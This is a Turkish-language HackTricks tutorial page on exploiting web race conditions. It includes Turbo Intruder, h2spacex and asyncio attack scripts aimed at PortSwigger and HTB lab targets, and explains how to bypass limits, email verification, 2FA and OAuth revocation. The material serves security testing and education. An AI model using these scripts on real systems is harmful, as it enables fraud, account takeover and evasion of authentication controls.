22 KiB
Yarış Koşulu
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar gönderin.
{% hint style="warning" %} Bu teknik hakkında derinlemesine anlayış elde etmek için orijinal raporu https://portswigger.net/research/smashing-the-state-machine kontrol edin. {% endhint %}
Yarış Koşulu Saldırılarını Geliştirme
Yarış koşullarından faydalanmanın ana engeli, birden fazla isteğin aynı anda işlenmesini sağlamaktır, işleme sürelerinde çok az fark olması gerekmektedir - ideal olarak, 1 ms'den az.
İşte Senkronize İstekler için bazı teknikler:
HTTP/2 Tek Paket Saldırısı vs. HTTP/1.1 Son-Byte Senkronizasyonu
- HTTP/2: Bir TCP bağlantısı üzerinden iki isteği göndermeyi destekler, ağ gecikmesi etkisini azaltır. Ancak, sunucu tarafındaki değişiklikler nedeniyle iki istek, tutarlı bir yarış koşulu saldırısı için yeterli olmayabilir.
- HTTP/1.1 'Son-Byte Senkronizasyonu': 20-30 isteğin çoğu kısmını önceden göndermeyi sağlar, küçük bir parçayı tutarak, ardından birlikte gönderilerek sunucuya aynı anda ulaşılmasını sağlar.
Son-Byte Senkronizasyonu için Hazırlık şunları içerir:
- Başlık ve son bayt hariç gövde verilerini gönderme, akışı sonlandırmadan.
- İlk gönderimden sonra 100 ms beklemek.
- Son çerçeveleri toplu olarak göndermek için TCP_NODELAY'i devre dışı bırakma.
- Bağlantıyı ısıtmak için ping gönderme.
Tutulan çerçevelerin sonradan gönderilmesi, Wireshark üzerinden tek bir pakette varışlarını sağlamalıdır. Bu yöntem genellikle RC saldırılarıyla ilişkilendirilmeyen statik dosyalara uygulanmaz.
Sunucu Mimarisiyle Uyum Sağlama
Hedefin mimarisini anlamak önemlidir. Ön uç sunucuları istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önemsiz istekler aracılığıyla önceden sunucu tarafı bağlantı ısınması yaparak, istek zamanlamasını normalize edebilirsiniz.
Oturum Tabanlı Kilitlenmeyi Ele Alma
PHP'nin oturum işleyicisi gibi çerçeveler, istekleri oturum bazında seri hale getirebilir ve zafiyetleri gizleyebilir. Her istek için farklı oturum belirteçleri kullanmak, bu sorunu atlatmanıza yardımcı olabilir.
Hız veya Kaynak Sınırlarını Aşma
Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırlarını kasıtlı olarak tetikleyerek, sunucu tarafında yarış koşullarına uygun gecikmeyi sağlayan tek paket saldırısını kolaylaştırabilirsiniz.
Saldırı Örnekleri
- Tubo Intruder - HTTP2 tek paket saldırısı (1 uç nokta): İsteği Turbo intruder'a gönderebilirsiniz (
Uzantılar
->Turbo Intruder
->Turbo Intruder'a Gönder
), istekte%s
için kaba kuvvet yapmak istediğiniz değeri değiştirebilirsiniz, örneğincsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
ve ardından açılır menüdenexamples/race-single-packer-attack.py
'yi seçebilirsiniz:
Farklı değerler gönderecekseniz, panodan bir kelime listesi kullanan bu kodu değiştirebilirsiniz.
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
Eğer web HTTP2'yi desteklemiyorsa (yalnızca HTTP1.1), Engine.BURP2
yerine Engine.THREADED
veya Engine.BURP
kullanın.
{% endhint %}
- Tubo Intruder - HTTP2 tek paket saldırısı (Çeşitli uç noktalar): RCE'yi tetiklemek için bir uç noktaya bir istek göndermeniz ve ardından diğer uç noktalara birden fazla istek göndermeniz gerektiğinde,
race-single-packet-attack.py
betiğini aşağıdaki gibi değiştirebilirsiniz:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Ayrıca, Burp Suite içindeki yeni 'Paralel olarak grup gönder' seçeneği ile Repeater üzerinde de mevcuttur.
- Limit aşımı için grup içine aynı isteği 50 kez ekleyebilirsiniz.
- Bağlantı ısınması için, web sunucusunun statik olmayan bir kısmına bazı istekler ekleyebilirsiniz grubun başına.
- Bir isteği işleme ve diğerine geçme arasındaki süreyi geciktirmek için, her iki istek arasına ekstra istekler ekleyebilirsiniz.
- Çoklu uç noktalı bir RC için, gizli duruma giden isteği göndermeye başlayabilir ve ardından hemen ardından gizli durumu sömüren 50 istek gönderebilirsiniz.
- Otomatik python betiği: Bu betiğin amacı, bir kullanıcının e-posta adresini sürekli olarak doğrulayarak değiştirmektir, yeni e-posta adresinin doğrulama belirteci son e-postaya ulaşana kadar (çünkü kodda bir e-postayı değiştirmenin mümkün olduğu ancak e-postayı gösteren değişkenin zaten ilk e-postayla doldurulduğu bir RC görüldü).
Alınan e-postalarda "objetivo" kelimesi bulunduğunda, değiştirilen e-postanın doğrulama belirtecini aldığımızı biliriz ve saldırıyı sonlandırırız.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Ham BF
Önceki araştırmadan önce kullanılan bazı yükler şunlardı, sadece bir YC oluşturmak için paketleri mümkün olduğunca hızlı göndermeye çalıştı.
- Tekrarlayıcı: Önceki bölümden örnekleri kontrol edin.
- Sızdıran: İsteği Sızdıran'a gönderin, İşlem menüsü içindeki iş parçacığı sayısını 30 olarak ayarlayın ve yük olarak Boş yükleri seçin ve 30 oluşturun.
- Turbo Sızdıran
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Yarış Koşulu Metodolojisi
Limit aşımı / TOCTOU
Bu, bir eylemi gerçekleştirme sayısını sınırlayan yerlerde ortaya çıkan zayıflıkların en temel türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek bu raporda veya bu hata bulunabilir.
Bu tür saldırıların birçok varyasyonu vardır, bunlar arasında:
- Bir hediye kartını birden fazla kez kullanmak
- Bir ürünü birden fazla kez derecelendirmek
- Hesap bakiyenizi aşan miktarda para çekme veya transfer etme
- Tek bir CAPTCHA çözümünü tekrar kullanma
- Anti-brute-force hız sınırlamasını atlatma
Gizli alt durumlar
Karmaşık yarış koşullarını sömürmek genellikle gizli veya istenmeyen makine alt durumlarıyla etkileşim fırsatlarını değerlendirmeyi içerir. İşte bu konuya nasıl yaklaşılacağı:
- Potansiyel Gizli Alt Durumları Tanımlayın
- Kullanıcı profilleri veya şifre sıfırlama süreçleri gibi kritik verileri değiştiren veya etkileşime giren uç noktaları belirleyerek başlayın. Odaklanılacak noktalar:
- Depolama: Sunucu tarafında kalıcı verileri işleyen uç noktaları, istemci tarafında veri işleyenlere göre daha tercih edin.
- Eylem: Var olan verileri değiştiren işlemleri arayın, yeni veri ekleyenlere göre sömürülebilir koşullar yaratma olasılığı daha yüksektir.
- Anahtarlama: Başarılı saldırılar genellikle aynı tanımlayıcıya (örneğin, kullanıcı adı veya sıfırlama belirteci) dayalı işlemleri içerir.
- İlk Sondajı Yapın
- Belirlenen uç noktaları yarış koşulu saldırılarıyla test ederek beklenen sonuçlardan sapmaları gözlemleyin. Beklenmeyen yanıtlar veya uygulama davranışındaki değişiklikler bir zayıflığı işaret edebilir.
- Zafiyeti Gösterin
- Zafiyeti sömürmek için genellikle sadece iki isteğin gerektiği minimum sayıya indirin. Bu adım, hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir.
Zaman Hassas Saldırılar
İsteklerdeki zamanlama hassasiyeti, özellikle güvenlik belirteçleri için zaman damgalarının kullanıldığı durumlarda zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, aynı anda yapılan istekler için benzer belirteçlere izin verebilir.
Sömürmek İçin:
- Aynı anda şifre sıfırlama istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Benzer belirteçler, bir zayıflığı gösterebilir.
Örnek:
- Aynı anda iki şifre sıfırlama belirteci isteyin ve karşılaştırın. Eşleşen belirteçler, belirteç oluşturmada bir hata olduğunu gösterebilir.
Bunu denemek için PortSwigger Lab'ı ziyaret edin.
Gizli alt durumlar vaka çalışmaları
Ödeme yap ve bir Öğe ekle
Ödeme yapın ve ödemeye gerek olmayan bir ekstra öğe ekleyebileceğiniz bir mağazada nasıl yapılacağını görmek için bu PortSwigger Lab'ı kontrol edin.
Diğer e-postaları onayla
Fikir, aynı anda bir e-posta adresini doğrulamak ve farklı bir e-posta adresine değiştirmek ve platformun yeni değiştirileni doğrulayıp doğrulamadığını bulmaktır.
2 e-posta adresine e-posta değiştirme Çerez tabanlı
Bu araştırmaya göre, Gitlab bu şekilde bir ele geçirmeye açıktı çünkü bir e-postanın e-posta doğrulama belirtecinin diğer e-postaya gönderilebileceğini gösterebilir.
Bunu denemek için PortSwigger Lab'ı ziyaret edin.
Gizli Veritabanı durumları / Onayı Atlatma
Eğer bir veritabanına bilgi eklemek için 2 farklı yazma işlemi kullanılıyorsa, sadece ilk verinin veritabanına yazıldığı küçük bir zaman dilimi oluşur. Örneğin, bir kullanıcı oluşturulurken kullanıcı adı ve şifre yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için belirteç yazılabilir. Bu, bir süre için bir hesabı onaylamak için belirtecin boş olduğu anlamına gelir.
Bu nedenle, bir hesap kaydı oluşturun ve hemen hesabı onaylamak için boş bir belirteçle (token=
veya token[]=
veya başka bir varyasyon) birkaç istek göndermek, kontrol etmediğiniz bir e-postayı onaylamaya izin verebilir.
Bunu denemek için PortSwigger Lab'ı ziyaret edin.
2FA'yı Atlatma
Aşağıdaki sözdizimi kodu, oturum oluşturulurken 2FA'nın zorunlu olmadığı çok kısa bir süre içinde yarış koşuluna açıktır:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 sonsuz kalıcılık
Birkaç OAuth sağlayıcısı bulunmaktadır. Bu hizmetler, sağlayıcının kaydettiği kullanıcıları doğrulamanıza ve bir uygulama oluşturmanıza izin verir. Bunun için istemci, uygulamanıza sağlayıcının içindeki bazı verilere erişim izni vermesine izin vermelidir.
Yani, şimdiye kadar sadece google/linkedin/github... ile yapılan ortak bir girişte olduğu gibi bir sayfada "Uygulama <InsertCoolName>, bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?" şeklinde bir sayfayla karşılaşırsınız.
authorization_code
içinde Yarış Koşulu
Sorun, bunu kabul ettiğinizde ve kötü niyetli uygulamaya otomatik olarak bir authorization_code
gönderildiğinde ortaya çıkar. Ardından, bu uygulama, authorization_code
içindeki Yarış Koşulunu kötüye kullanarak hesabınız için birden fazla AT/RT (Kimlik Doğrulama Belirteci/Yenileme Belirteci) oluşturmak için OAuth hizmet sağlayıcısında Yarış Koşulunu kötüye kullanır. Temelde, uygulamanın verilerinize erişim iznini kabul ettiğiniz gerçeğini kötüye kullanacaktır ve birkaç hesap oluşturacaktır. Sonra, eğer uygulamanın verilerinize erişim iznini kaldırırsanız bir AT/RT çifti silinecek, ancak diğerleri hala geçerli olacaktır.
Refresh Token
içinde Yarış Koşulu
Geçerli bir RT aldıktan sonra, birkaç AT/RT oluşturmak için bunu kötüye kullanabilirsiniz ve kullanıcı kötü niyetli uygulamanın verilerine erişim iznini iptal etse bile, birkaç RT hala geçerli olacaktır.
WebSockets'te Yarış Koşulu
WS_RaceCondition_PoC içinde, Web Sockets'te de Yarış Koşullarını kötüye kullanmak için paralel olarak websocket mesajları göndermek için bir Java PoC bulabilirsiniz.
Referanslar
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuzu
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest'i kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}